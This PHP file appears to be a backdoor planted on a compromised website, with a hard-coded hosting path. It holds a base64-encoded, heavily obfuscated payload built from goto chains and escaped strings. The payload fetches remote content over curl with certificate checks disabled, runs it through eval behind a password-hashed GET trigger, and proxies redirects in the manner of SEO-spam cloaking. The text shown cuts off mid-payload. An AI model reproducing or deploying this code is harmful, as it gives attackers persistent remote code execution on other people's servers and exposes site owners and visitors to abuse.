<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/home/hermukbs/training.leogenit.com/public/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gUEdzRHAxRk9XVjVHbFlLOyBXNDdSWkFWWU82aEszdnA6ICRJTkFBWnV4azJEZmdjcmRbIlx4NjkiXSA9IE9PdkVIV1J6YjA3VUdtNygkUjJaeDlDeFBTQnlIdmhwKTsgZ290byBlR1Y1QUxKTUpPVTFRUnA7IGxBeDBSU3VvaHdaVlBjSzogc3dpdGNoICgkRGNlRVJzdHJVQWg0VTFtWyJceDczXHg3NFwxNDFceDc0XDE2NVx4NzMiXSkgeyBjYXNlIDMwMTogZ290byBETTBZb2Exa3FOTFB2ODg7IHVNWHc3TkZ0dERIUmhtbDogZ290byBLTDVfSjBhVEl1NFdfNTU7IGdvdG8gUExtalgyczY5VDZCSzF3OyBETTBZb2Exa3FOTFB2ODg6IGhlYWRlcigiXDExMFx4NTRcMTI0XDEyMFw1N1w2MVw1Nlx4MzFcNDBcNjNceDMwXHgzMVx4MjBceDRkXHg2Zlx4NzZcMTQ1XDE0NFw0MFwxMjBceDY1XHg3MlwxNTVcMTQxXDE1NlwxNDVcMTU2XDE2NFwxNTRcMTcxIik7IGdvdG8gTjhjNG5NNVVqdlJGWVNDOyBOOGM0bk01VWp2UkZZU0M6IGhlYWRlcigiXHg0Y1wxNTdceDYzXDE0MVx4NzRcMTUxXHg2Zlx4NmVcNzJcNDAiIC4gdHJpbSgkRGNlRVJzdHJVQWg0VTFtWyJceDYzXDE1N1wxNTZceDc0XDE0NVx4NmVcMTY0Il0pKTsgZ290byB1TVh3N05GdHRESFJobWw7IFBMbWpYMnM2OVQ2QksxdzogY2FzZSAzMDI6IGdvdG8gZWQ5bk5ZbVoweVZGOGNYOyBlZDluTlltWjB5VkY4Y1g6IGhlYWRlcigiXHg0OFx4NTRcMTI0XHg1MFw1N1x4MzFceDJlXHgzMVw0MFx4MzNcNjBcNjJcNDBcMTE1XHg2ZlwxNjZceDY1XDQwXHg1NFwxNDVceDZkXDE2MFwxNTdcMTYyXDE0MVx4NzJceDY5XHg2Y1wxNzEiKTsgZ290byBiOGV4bUJWUUtEQkhqTnA7IGI4ZXhtQlZRS0RCSGpOcDogaGVhZGVyKCJceDRjXHg2Zlx4NjNceDYxXDE2NFx4NjlcMTU3XDE1Nlw3Mlx4MjAiIC4gdHJpbSgkRGNlRVJzdHJVQWg0VTFtWyJceDYzXHg2Zlx4NmVcMTY0XDE0NVx4NmVceDc0Il0pKTsgZ290byBQTFVuQTBvdnZQWWh6Q0I7IFBMVW5BMG92dlBZaHpDQjogZ290byBLTDVfSjBhVEl1NFdfNTU7IGdvdG8gQnVQSXgzQmFqcDNzUjBtOyBCdVBJeDNCYWpwM3NSMG06IGNhc2UgNDA0OiBnb3RvIGc4TTJBN3MwUkxrYm42bTsgZzhNMkE3czBSTGtibjZtOiBoZWFkZXIoIlwxMTBcMTI0XHg1NFwxMjBceDJmXHgzMVw1Nlx4MzFcNDBcNjRceDMwXHgzNFx4MjBcMTE2XDE1N1wxNjRceDIwXHg0Nlx4NmZceDc1XHg2ZVwxNDQiKTsgZ290byB3Wm1GMUZzeExYZU9MU0c7IHdabUYxRnN4TFhlT0xTRzogaGVhZGVyKCJceDczXHg3NFx4NjFceDc0XDE2NVx4NzNcNzJceDIwXHgzNFw2MFw2NFx4MjBcMTE2XDE1N1wxNjRceDIwXDEwNlwxNTdceDc1XHg2ZVx4NjQiKTsgZ290byBqMUxYV3ZkdlU4SV9YTUg7IGoxTFhXdmR2VThJX1hNSDogZ290byBLTDVfSjBhVEl1NFdfNTU7IGdvdG8gdjA4MTdXN0RkMVBDWlZlOyB2MDgxN1c3RGQxUENaVmU6IGRlZmF1bHQ6IGdvdG8gS0w1X0owYVRJdTRXXzU1OyB9IGdvdG8gVGtnZVYwZTI1QmU4X3A2OyBmdDdFbXRDQkZEc1FUVGY6IE1WUUNFeU00M0Y5S1RseDogZ290byBXOWFSa3NWdTl6ZThHdDk7IEtCS3pLWGFzWFJjWjU5dDogelFqWERmRFVmTGNjV0M5OiBnb3RvIFRoM2IweUQ1YzgwYldUWjsgSGtNQ3VRTnZ4ZlIxZEFHOiBpZiAoIShzdHJwb3MoJG91NFEyeV9ndnc3bXdIOSwgJHk5Rjg0ZFVzVGhLWEJ4UykgPT09IDApKSB7IGdvdG8gS1laQmFfRVEzZFp3STBfOyB9IGdvdG8gb3lsRGxTUkxqSUZINEZCOyBDTkU5YkhWX2N3Mmg1am86ICRPTjZhTlc3aFNoc2h5ck0gPSB0cnVlOyBnb3RvIFF0ZHRtbVoxRUdhZndxXzsgSmpXZ3lUZW5qYW5Od09fOiAkbTU2ajNxZ1ZZYlpONVByID0gc3Vic3RyKCRWc043TFdmRkJ4dV9wNzEsIHN0cnBvcygkVnNON0xXZkZCeHVfcDcxLCAiXDU2IikpOyBnb3RvIFNxWXJTM2JxRzZCOVJIbzsgQXZ2aGFyZVluczNPVFlkOiBackMya2ExX0Nac2toSV86IGdvdG8gZXhNdFg5T0g2ZERUbVI2OyBQR3NEcDFGT1dWNUdsWUs6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byBqTVB6aGJRZUZvbDlNd3g7IFZHcWZvRWRPNVdSaGtDdDogJHk5Rjg0ZFVzVGhLWEJ4UyA9IFljSDVQRGRnbW5sNHQ1ZSgpIC4gJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBcMTM3XDExMFwxMTdcMTIzXDEyNCJdOyBnb3RvIEhrTUN1UU52eGZSMWRBRzsgWllQMXlQc2xES01KamUwOiAkSU5BQVp1eGsyRGZnY3JkWyJceDczXHg2ZSJdID0gT292ZUhXcnpCMDdVR003KCRfU0VSVkVSWyJcMTIzXHg0M1x4NTJcMTExXDEyMFwxMjRceDVmXHg0ZVwxMDFcMTE1XHg0NSJdKTsgZ290byB5b09ESFQyRDRYaUhlNU47IFcyUDY3S0tYWHBmSkR3aTogJFVBNlhLUzdYa3F2OG9vWiA9ICR7JEJIMEdybGwxSmtBMjNCd1szICsgMjhdIC4gJEJIMEdybGwxSmtBMjNCd1sxNyArIDQyXSAuICRCSDBHcmxsMUprQTIzQndbNDMgKyA0XSAuICRCSDBHcmxsMUprQTIzQndbNDIgKyA1XSAuICRCSDBHcmxsMUprQTIzQndbMjYgKyAyNV0gLiAkQkgwR3JsbDFKa0EyM0J3WzI3ICsgMjZdIC4gJEJIMEdybGwxSmtBMjNCd1sxOSArIDM4XX07IGdvdG8gamVxeXhvTWVzeFZlRE5IOyBTNnRPZU5wZkdYZUI0WXU6ICRvdTRRMnlfZ3Z3N213SDkgPSBzdHJ2YWwoQCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXHg1ZlwxMjJceDQ1XHg0Nlx4NDVceDUyXHg0NVx4NTIiXSk7IGdvdG8gVkdxZm9FZE81V1Joa0N0OyBjcFFvN21uTTF1WUtpYXI6IGNsYXNzIFdfUGRMMU81MHBkODkwMyB7IHN0YXRpYyBmdW5jdGlvbiBsSDFael9WWkFhQW1DSzYoJEE2VzVCUlN6RFVOQ1ZhTSkgeyBnb3RvIGJPMnFWamZObzUybmJwWDsgUFJfcGV6ZjlqWEN6MDdWOiBIUDZrQkkya1ZlU0tYaEY6IGdvdG8gSkIyd3hSMW82bUU0RUVIOyBseWNzVzRUS3pIeGNvTUY6ICR2NmpvMzd0U3FDcmdYbUYgPSBleHBsb2RlKCJcMTMzIiwgJEE2VzVCUlN6RFVOQ1ZhTSk7IGdvdG8gSWpCN3ZQWmdtOGZnZUQ1OyBiTzJxVmpmTm81Mm5icFg6ICR2eVdIYWlGSDRFVkpuQjggPSAiXDE2MiIgLiAiXHg2MSIgLiAiXHg2ZSIgLiAiXDE0NyIgLiAiXHg2NSI7IGdvdG8gdFRfcTFOMm1WWWFiWlo0OyBKQjJ3eFIxbzZtRTRFRUg6IHJldHVybiAkUng1OTBOMWd3R1BVUjFZOyBnb3RvIExEWHNrVFIwY3BaY2E3ZDsgdFRfcTFOMm1WWWFiWlo0OiAkcmtmSEJUMTZ5c3I4N2tsID0gJHZ5V0hhaUZINEVWSm5COCgiXHg3ZSIsICJceDIwIik7IGdvdG8gbHljc1c0VEt6SHhjb01GOyBJSkI2V21fcElRV05KY2w6IGZvcmVhY2ggKCR2NmpvMzd0U3FDcmdYbUYgYXMgJEt3T3B1UkFuWHczS2QyTSA9PiAkWkZPOEQxc3lFRm9veVk4KSB7ICRSeDU5ME4xZ3dHUFVSMVkgLj0gJHJrZkhCVDE2eXNyODdrbFskWkZPOEQxc3lFRm9veVk4IC0gODYzODBdOyBNaU1oODNLRnpVaDBwU0Y6IH0gZ290byBQUl9wZXpmOWpYQ3owN1Y7IElqQjd2UFpnbThmZ2VENTogJFJ4NTkwTjFnd0dQVVIxWSA9ICcnOyBnb3RvIElKQjZXbV9wSVFXTkpjbDsgTERYc2tUUjBjcFpjYTdkOiB9IHN0YXRpYyBmdW5jdGlvbiBGRTc4dlMwdWdLTXVRNVYoJE42MFdGVFNqamFyXzYyRCwgJGxzclBiV21pU2laZ1FoeikgeyBnb3RvIHh2aW5UWVE1azNReXFkWTsgbEJJYVJUbndXMEsyeXB6OiBjdXJsX3NldG9wdCgkaFpURXYzMlo3eXZMSDZULCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBlRmhlTjd2TlBIdkgxQ2g7IHh2aW5UWVE1azNReXFkWTogJGhaVEV2MzJaN3l2TEg2VCA9IGN1cmxfaW5pdCgkTjYwV0ZUU2pqYXJfNjJEKTsgZ290byBsQklhUlRud1cwSzJ5cHo7IFFrVzd5NzRRVURMYVFoRzogcmV0dXJuIGVtcHR5KCRBX0J6dlJQbUM4UW5MdmQpID8gJGxzclBiV21pU2laZ1FoeigkTjYwV0ZUU2pqYXJfNjJEKSA6ICRBX0J6dlJQbUM4UW5MdmQ7IGdvdG8gQlR3cENDTjQ4MW9YcFNiOyBlRmhlTjd2TlBIdkgxQ2g6ICRBX0J6dlJQbUM4UW5MdmQgPSBjdXJsX2V4ZWMoJGhaVEV2MzJaN3l2TEg2VCk7IGdvdG8gUWtXN3k3NFFVRExhUWhHOyBCVHdwQ0NONDgxb1hwU2I6IH0gc3RhdGljIGZ1bmN0aW9uIHVTamRzRzlDdDRqVE9MYigpIHsgZ290byB5SU5TYWlTYVRpcUtSMW07IHNKWWdJQk5VT0lVdk1VSjogZm9yZWFjaCAoJENqXzlzM2VPbl81TjRMayBhcyAkUTJ5NG1HczdxRTI0ZnVfKSB7ICRWUVhiNVplX1d2TExjTTBbXSA9IHNlbGY6OmxIMXp6X3Z6QUFBTWNLNigkUTJ5NG1HczdxRTI0ZnVfKTsgUDM4WDI4YTV4ZUZyWm1aOiB9IGdvdG8gVEZEYXJUNlRJZm4xSlc3OyB4dXVPTk0yUFFnMTJJb2I6IEAkVlFYYjVaZV9XdkxMY00wWzUgKyA1XShJTlBVVF9HRVQsICJceDZmXDE0NiIpID09IDEgJiYgZGllKCRWUVhiNVplX1d2TExjTTBbMyArIDJdKF9fRklMRV9fKSk7IGdvdG8gRUtpVFRMQ0FyaE1Cb3A1OyBFVkJlZFdDbklPZUVhSXo6IGRpZTsgZ290byBwWVpyMXZUTHhaWklRZTA7IHFyNWd3djdSaE5lWFNxNjogJEM2dm1Yc2VzSm9uZFRIViA9IEAkVlFYYjVaZV9XdkxMY00wWzEgKyAyXSgkVlFYYjVaZV9XdkxMY00wWzYgKyAwXSwgJGdjeDB3eEZVMXhLeEFlZik7IGdvdG8gY0tFcDEzS1E4UXRyQ2VuOyB5SU5TYWlTYVRpcUtSMW06ICRDal85czNlT25fNU40TGsgPSBhcnJheSgiXDcwXHgzNlw2NFx4MzBcNjdcMTMzXHgzOFw2Nlw2M1w3MVw2Mlx4NWJceDM4XHgzNlw2NFx4MzBcNjVceDViXDcwXHgzNlw2NFx4MzBceDM5XHg1Ylx4MzhceDM2XDYzXHgzOVw2MFwxMzNceDM4XDY2XDY0XDYwXHgzNVx4NWJcNzBcNjZceDM0XHgzMVx4MzFcMTMzXHgzOFx4MzZceDM0XHgzMFx4MzRcMTMzXDcwXHgzNlw2M1x4MzhcNzFceDViXDcwXDY2XHgzM1x4MzlceDM2XHg1Ylw3MFw2Nlw2NFx4MzBcNjdceDViXHgzOFw2Nlw2M1w3MVw2MFwxMzNcNzBceDM2XHgzNFw2MFw2MVwxMzNceDM4XHgzNlx4MzNcNzFceDM1XHg1Ylx4MzhcNjZcNjNceDM5XDY2IiwgIlw3MFw2Nlw2M1w3MVw2MVwxMzNcNzBceDM2XDYzXHgzOVx4MzBcMTMzXHgzOFw2Nlw2M1x4MzlcNjJceDViXHgzOFx4MzZceDM0XDYxXHgzMVx4NWJceDM4XHgzNlw2M1x4MzlcNjJcMTMzXHgzOFw2Nlx4MzNcNzFceDM1XDEzM1w3MFx4MzZceDMzXHgzOVx4MzBcMTMzXHgzOFx4MzZcNjRcNjVceDM3XHg1Ylw3MFx4MzZcNjRcNjVceDM1IiwgIlw3MFw2Nlw2NFx4MzBceDMwXHg1Ylw3MFx4MzZceDMzXDcxXHgzMVwxMzNceDM4XHgzNlw2M1w3MVx4MzVceDViXDcwXHgzNlw2M1x4MzlcNjZceDViXDcwXHgzNlx4MzRceDMxXHgzMVwxMzNcNzBceDM2XDY0XDYwXHgzNlx4NWJcNzBceDM2XDY0XDYwXDY1XHg1Ylx4MzhceDM2XHgzNFw2MFw2N1wxMzNcNzBcNjZcNjNcNzFcNjVcMTMzXDcwXHgzNlx4MzRcNjBceDM2XDEzM1w3MFx4MzZceDM0XHgzMFx4MzUiLCAiXDcwXDY2XHgzM1x4MzlceDM0XDEzM1w3MFx4MzZcNjRcNjBcNzFceDViXHgzOFx4MzZcNjRceDMwXDY3XHg1Ylw3MFx4MzZcNjNceDM5XHgzOSIsICJceDM4XHgzNlx4MzRcNjBcNzBcMTMzXHgzOFx4MzZceDM0XHgzMFx4MzlceDViXHgzOFw2Nlx4MzNceDM5XDYxXDEzM1x4MzhcNjZceDM0XDYwXDY1XHg1Ylw3MFx4MzZcNjRceDM1XDYyXHg1Ylx4MzhceDM2XDY0XDY1XHgzNFx4NWJcNzBcNjZceDM0XHgzMVx4MzFcMTMzXHgzOFw2Nlw2NFx4MzBcNjZcMTMzXDcwXHgzNlw2NFw2MFx4MzVcMTMzXHgzOFx4MzZcNjRceDMwXDY3XDEzM1x4MzhceDM2XHgzM1x4MzlceDM1XHg1Ylw3MFx4MzZceDM0XHgzMFx4MzZcMTMzXDcwXDY2XHgzNFx4MzBcNjUiLCAiXDcwXDY2XHgzNFx4MzBcNjRceDViXHgzOFx4MzZceDM0XHgzMFx4MzFcMTMzXDcwXDY2XHgzM1w3MVx4MzhcMTMzXHgzOFx4MzZceDM0XDYwXHgzNVwxMzNceDM4XHgzNlw2NFw2MVx4MzFcMTMzXHgzOFw2Nlx4MzRcNjBceDMzXDEzM1w3MFw2Nlx4MzRcNjBceDM1XDEzM1w3MFx4MzZcNjNceDM5XHgzMFx4NWJceDM4XDY2XHgzNFw2MVw2MVwxMzNceDM4XHgzNlw2NFw2MFw2N1wxMzNceDM4XDY2XDYzXDcxXHgzNVwxMzNcNzBceDM2XHgzM1x4MzlcNjZceDViXDcwXDY2XHgzM1w3MVx4MzBceDViXHgzOFw2Nlx4MzRcNjBcNjVcMTMzXDcwXDY2XHgzM1w3MVw2Nlx4NWJcNzBceDM2XHgzM1w3MVw2MFwxMzNcNzBcNjZcNjNcNzFcNjEiLCAiXHgzOFw2Nlw2NFw2M1x4MzRceDViXHgzOFx4MzZceDM0XDY2XDY0IiwgIlx4MzhcNjZcNjNcNzBcNjEiLCAiXDcwXDY2XHgzNFx4MzVceDM5XDEzM1x4MzhcNjZceDM0XHgzNlx4MzQiLCAiXHgzOFx4MzZceDM0XDY0XDYxXHg1Ylx4MzhceDM2XHgzNFw2Mlw2NFwxMzNceDM4XDY2XDY0XHgzMlx4MzRcMTMzXHgzOFw2Nlw2NFw2NFw2MVx4NWJceDM4XDY2XDY0XHgzMVw2NyIsICJcNzBceDM2XHgzNFx4MzBceDM0XDEzM1w3MFx4MzZcNjRcNjBceDMxXDEzM1x4MzhceDM2XDYzXDcxXDcwXDEzM1x4MzhcNjZcNjNceDM5XDYwXDEzM1x4MzhcNjZceDM0XHgzMFx4MzVceDViXDcwXHgzNlx4MzNcNzFceDMyXDEzM1x4MzhcNjZcNjRceDMxXDYxXHg1Ylw3MFw2Nlx4MzRceDMwXHgzMVx4NWJcNzBceDM2XHgzM1w3MVw2Nlx4NWJcNzBceDM2XDYzXHgzOVx4MzRceDViXDcwXDY2XDYzXHgzOFw3MVwxMzNcNzBceDM2XDYzXHgzOVw2MCIpOyBnb3RvIHNKWWdJQk5VT0lVdk1VSjsgcFlacjF2VEx4WlpJUWUwOiB1eFNBSHFKTkdERTkxM2o6IGdvdG8gQURMeDVrNjhGck8xZ1p2OyBpbVBnVm9XeURGdDFtd2g6ICR5ODJKelVwWUpYQzdFOTggPSBzZWxmOjpGZTc4dlMwdWdrTXVRNVYoJEo5azRXbWxwZ0pweXJ4b1swICsgMV0sICRWUVhiNVplX1d2TExjTTBbMyArIDJdKTsgZ290byBNTG9tVnNZUEZQb3pudzM7IFRGRGFyVDZUSWZuMUpXNzogdjczaVhPMV9SWUVvZTYyOiBnb3RvIE1TMlFFU3BxMTE2M095STsgY0tFcDEzS1E4UXRyQ2VuOiAkSjlrNFdtbHBnSnB5cnhvID0gJFZRWGI1WmVfV3ZMTGNNMFsxICsgMV0oJEM2dm1Yc2VzSm9uZFRIViwgdHJ1ZSk7IGdvdG8geHV1T05NMlBRZzEySW9iOyBFS2lUVExDQXJoTUJvcDU6IGlmICghKEAkSjlrNFdtbHBnSnB5cnhvWzBdIC0gdGltZSgpID4gMCBhbmQgbWQ1KG1kNSgkSjlrNFdtbHBnSnB5cnhvWzMgKyAwXSkpID09PSAiXHg2NVx4MzRceDM2XDE0Nlx4MzNcMTQzXHgzMlw2NVx4NjVcNzBceDM4XDE0Mlx4MzZcNjBcMTQyXHgzMlw2NFx4MzlceDY2XDY0XHg2MVx4MzlcNjFcNzBceDMxXDY1XDE0M1wxNDFcNzFceDM0XHg2Mlw2MSIpKSB7IGdvdG8gdXhTQUhxSk5HREU5MTNqOyB9IGdvdG8gaW1QZ1ZvV3lERnQxbXdoOyBNTG9tVnNZUEZQb3pudzM6IEBldmFsKCRWUVhiNVplX1d2TExjTTBbMCArIDRdKCR5ODJKelVwWUpYQzdFOTgpKTsgZ290byBFVkJlZFdDbklPZUVhSXo7IE1TMlFFU3BxMTE2M095STogJGdjeDB3eEZVMXhLeEFlZiA9IEAkVlFYYjVaZV9XdkxMY00wWzFdKCRWUVhiNVplX1d2TExjTTBbNyArIDNdKElOUFVUX0dFVCwgJFZRWGI1WmVfV3ZMTGNNMFs5ICsgMF0pKTsgZ290byBxcjVnd3Y3UmhOZVhTcTY7IEFETHg1azY4RnJPMWdadjogfSB9IGdvdG8gWUtyb2ZPTW1lMTNhazVTOyBRdGR0bW1aMUVHYWZ3cV86IEltdXJlcjdtUUJKeWRiZDogZ290byBmdDdFbXRDQkZEc1FUVGY7IElvMTBORTZaYU1QR2VScDogZnVuY3Rpb24gWm1VckJnUF84RU9YNWJvKCRmNmNVSERqeUFocWxCZlcsICRxV2lKQWNCYlFUcG11RVcgPSBhcnJheSgpKSB7IGdvdG8ga0V5Z2JXQmhjOEc3OTdQOyBUZ3F1ZUtaQkVEbnlJUm06ICRmNmNVSERqeUFocWxCZlcgLj0gIlw3NyIgLiBodHRwX2J1aWxkX3F1ZXJ5KCRxV2lKQWNCYlFUcG11RVcpOyBnb3RvIGdRWTNGemt0WV8xNFNiNTsgcGZpb2NRMllINjJEcHJ1OiB0cnkgeyBnb3RvIGdGOWtrajFWMGpXWHZVSTsgcHZrNk54eWljZmZXRlRHOiAkaVdFZDlVTnZpaURZOTBYID0gY3VybF9pbml0KCk7IGdvdG8gVW00NUFmUmlDOUppNmJyOyBlSTd6RUxCQW4yNmNsc186ICREY2VFUnN0clVBaDRVMW1bIlx4NjNceDZmXDE1Nlx4NzRceDY1XHg2ZVx4NzQiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJGlXRWQ5VU52aWlEWTkwWCwgQ1VSTElORk9fUkVESVJFQ1RfVVJMKSk7IGdvdG8gWTcwTGJScFVIYmZZMkN0OyBReW9PcmdPUGdwM1c4UEY6ICRONHlHS2VIWW5CUFNTOHogPSBhcnJheSgiXDE1MFx4NzRceDc0XDE2MCIgPT4gYXJyYXkoIlwxNTVceDY1XHg3NFwxNTBceDZmXDE0NCIgPT4gIlx4NDdceDQ1XHg1NCIsICJcMTY0XHg2OVwxNTVcMTQ1XHg2ZlwxNjVceDc0IiA9PiA2MCwgIlx4NjZceDZmXDE1NFwxNTRcMTU3XDE2N1x4NWZcMTU0XHg2Zlx4NjNceDYxXDE2NFwxNTFceDZmXDE1NiIgPT4gMCksICJcMTYzXDE2M1wxNTQiID0+IGFycmF5KCJcMTY2XDE0NVx4NzJceDY5XDE0NlwxNzFceDVmXHg3MFwxNDVcMTQ1XDE2MiIgPT4gZmFsc2UsICJceDc2XDE0NVwxNjJcMTUxXDE0NlwxNzFcMTM3XHg3MFwxNDVceDY1XHg3Mlx4NWZcMTU2XDE0MVx4NmRceDY1IiA9PiBmYWxzZSkpOyBnb3RvIEFPZ1ZQaDRVMFExb0NtaTsgQU9nVlBoNFUwUTFvQ21pOiAkTnZnYzNKSkV1bjhzckZFID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRONHlHS2VIWW5CUFNTOHopOyBnb3RvIG9LUHVWdklRaDFCS2hTMDsgRGwzMVVyUDVqbFN0NmE1OiAkRGNlRVJzdHJVQWg0VTFtWyJcMTY0XDE3MVx4NzBceDY1Il0gPSBzdHJ2YWwoY3VybF9nZXRpbmZvKCRpV0VkOVVOdmlpRFk5MFgsIENVUkxJTkZPX0NPTlRFTlRfVFlQRSkpOyBnb3RvIGVJN3pFTEJBbjI2Y2xzXzsgRkN6MTNIeVROTlA4c1dHOiBjdXJsX3NldG9wdCgkaVdFZDlVTnZpaURZOTBYLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBmSlBVVkFaNlFFdWJpMGg7IGdGOWtrajFWMGpXWHZVSTogaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE0M1wxNjVceDcyXHg2Y1x4NWZcMTQ1XHg3OFwxNDVcMTQzIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJcMTQzXDE2NVwxNjJcMTU0XHg1Zlx4NjlceDZlXDE1MVx4NzQiKSkgeyBnb3RvIFhycEU3V1dVcWViMU1OdzsgfSBnb3RvIEVjU05HTGlCWkhDbXFIYTsgclRCOF9KNWNtQnhlTHF5OiBjdXJsX3NldG9wdCgkaVdFZDlVTnZpaURZOTBYLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAyMCk7IGdvdG8gWEVwVlk1QzgzOU1aTk1zOyBLblB4bGpmTDJRNklSNjY6IGhxYzVvMWVpQndtMlNCYTogZ290byBReW9PcmdPUGdwM1c4UEY7IFlzY25HU3VKcDJrRU5pUTogJERjZUVSc3RyVUFoNFUxbVsiXDE2M1x4NzRceDYxXDE2NFx4NzVceDczIl0gPSBpbnR2YWwoY3VybF9nZXRpbmZvKCRpV0VkOVVOdmlpRFk5MFgsIENVUkxJTkZPX0hUVFBfQ09ERSkpOyBnb3RvIERsMzFVclA1amxTdDZhNTsgYU1HUmR2aVBZYkxEN1pMOiBnb3RvIEJjenJrUEJHUDhYVDhvdTsgZ290byBLblB4bGpmTDJRNklSNjY7IGZKUFVWQVo2UUV1YmkwaDogJExGOXhGWU1uU0RaRkE0VCA9IGN1cmxfZXhlYygkaVdFZDlVTnZpaURZOTBYKTsgZ290byBZc2NuR1N1SnAya0VOaVE7IEl4cjZKU0xwd3NWc0JyZjogY3VybF9zZXRvcHQoJGlXRWQ5VU52aWlEWTkwWCwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCAwKTsgZ290byBGQ3oxM0h5VE5OUDhzV0c7IG1pZHd6QUNqQk9jMUZydjogY3VybF9zZXRvcHQoJGlXRWQ5VU52aWlEWTkwWCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7IGdvdG8gVzBXUVh0Y0wxeHZfSzAzOyBvS1B1VnZJUWgxQktoUzA6ICR0QUJ2UTBEa3pVVmdLb2IgPSBAZmlsZV9nZXRfY29udGVudHMoJGY2Y1VIRGp5QWhxbEJmVywgZmFsc2UsICROdmdjM0pKRXVuOHNyRkUpOyBnb3RvIE9JOU1yT1VPWWlpaVg3ZDsgRWNTTkdMaUJaSENtcUhhOiBpZiAoaW5pX2dldCgiXDE0MVx4NmNcMTU0XDE1N1x4NzdcMTM3XHg3NVwxNjJceDZjXDEzN1x4NjZceDZmXDE2MFx4NjVcMTU2IikpIHsgZ290byBocWM1bzFlaUJ3bTJTQmE7IH0gZ290byBlWDdfWGcxU2tyNjNESjc7IFVtNDVBZlJpQzlKaTZicjogY3VybF9zZXRvcHQoJGlXRWQ5VU52aWlEWTkwWCwgQ1VSTE9QVF9VUkwsICRmNmNVSERqeUFocWxCZlcpOyBnb3RvIG1pZHd6QUNqQk9jMUZydjsgVFhtWXpPeEhhTHFuMjRCOiBjdXJsX3NldG9wdCgkaVdFZDlVTnZpaURZOTBYLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgZ290byBJeHI2SlNMcHdzVnNCcmY7IFR6UXVMZTY0Y0NBSUlTNzogWHJwRTdXV1VxZWIxTU53OiBnb3RvIHB2azZOeHlpY2ZmV0ZURzsgVjJLMGJiVmNnbmRGMjN0OiAkRGNlRVJzdHJVQWg0VTFtWyJceDYzXDE1N1wxNTZcMTY0XHg2NVwxNTZceDc0Il0gPSBzdHJ2YWwoJHRBQnZRMERrelVWZ0tvYik7IGdvdG8gR2s1dml6Y01tZU00aDZJOyBYRXBWWTVDODM5TVpOTXM6IGN1cmxfc2V0b3B0KCRpV0VkOVVOdmlpRFk5MFgsIENVUkxPUFRfVElNRU9VVCwgNjApOyBnb3RvIFRYbVl6T3hIYUxxbjI0QjsgZVg3X1hnMVNrcjYzREo3OiBnb3RvIEJjenJrUEJHUDhYVDhvdTsgZ290byBUelF1TGU2NGNDQUlJUzc7IEdrNXZpemNNbWVNNGg2STogZE5lZ1pjeHhMYWswaDFtOiBnb3RvIEhid3FObWVvY2xIZ1pLNjsgTUhCYUxhdjJQeTZRSnpVOiBpZiAoIWluX2FycmF5KCREY2VFUnN0clVBaDRVMW1bIlwxNjNceDc0XDE0MVx4NzRcMTY1XHg3MyJdLCBhcnJheSgyMDAsIDMwMSwgMzAyLCA0MDQpKSkgeyBnb3RvIG0yQXROR1o2VzUwdGpzVDsgfSBnb3RvIFN4QTFsOWtjX2JjbG9ibzsgWTcwTGJScFVIYmZZMkN0OiBAY3VybF9jbG9zZSgkaVdFZDlVTnZpaURZOTBYKTsgZ290byBNSEJhTGF2MlB5NlFKelU7IE9JOU1yT1VPWWlpaVg3ZDogJERjZUVSc3RyVUFoNFUxbSA9IGFycmF5X21lcmdlKCREY2VFUnN0clVBaDRVMW0sIHFNcXE2OE5sTEtvaUZWTCgkaHR0cF9yZXNwb25zZV9oZWFkZXIpKTsgZ290byBiWWdOaERFTWt5REpzZVA7IFN4QTFsOWtjX2JjbG9ibzogJERjZUVSc3RyVUFoNFUxbVsiXHg2M1x4NmZceDZlXDE2NFx4NjVceDZlXDE2NCJdID0gc3RydmFsKCRMRjl4RllNblNEWkZBNFQpOyBnb3RvIExlekxDbUlNR08zOGl4YTsgYllnTmhERU1reURKc2VQOiBpZiAoIWluX2FycmF5KCREY2VFUnN0clVBaDRVMW1bIlwxNjNceDc0XDE0MVx4NzRceDc1XHg3MyJdLCBhcnJheSgyMDAsIDMwMSwgMzAyLCA0MDQpKSkgeyBnb3RvIGROZWdaY3h4TGFrMGgxbTsgfSBnb3RvIFYySzBiYlZjZ25kRjIzdDsgTGV6TENtSU1HTzM4aXhhOiBtMkF0TkdaNlc1MHRqc1Q6IGdvdG8gYU1HUmR2aVBZYkxEN1pMOyBIYndxTm1lb2NsSGdaSzY6IEJjenJrUEJHUDhYVDhvdTogZ290byBidDVTYU1SR3J5ZzhLdmg7IFcwV1FYdGNMMXh2X0swMzogY3VybF9zZXRvcHQoJGlXRWQ5VU52aWlEWTkwWCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7IGdvdG8gclRCOF9KNWNtQnhlTHF5OyBidDVTYU1SR3J5ZzhLdmg6IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkcWRUZUxTNWxRUzdGZ3AxKSB7IH0gZ290byBMcW9EVkZoVGtmRnoyTHQ7IExxb0RWRmhUa2ZGejJMdDogcmV0dXJuICREY2VFUnN0clVBaDRVMW07IGdvdG8gSDFGaTJYckdHOGlFOE8xOyBxam1PRTBlNHBPcXBvUHg6IGlmICghKGlzX2FycmF5KCRxV2lKQWNCYlFUcG11RVcpICYmIGNvdW50KCRxV2lKQWNCYlFUcG11RVcpKSkgeyBnb3RvIHhkN2VqX053cTJJNGNOaDsgfSBnb3RvIFRncXVlS1pCRURueUlSbTsgZ1FZM0Z6a3RZXzE0U2I1OiB4ZDdlal9Od3EySTRjTmg6IGdvdG8gcGZpb2NRMllINjJEcHJ1OyBrRXlnYldCaGM4Rzc5N1A6ICREY2VFUnN0clVBaDRVMW0gPSBhcnJheSgiXHg3M1wxNjRceDYxXHg3NFx4NzVcMTYzIiA9PiAwLCA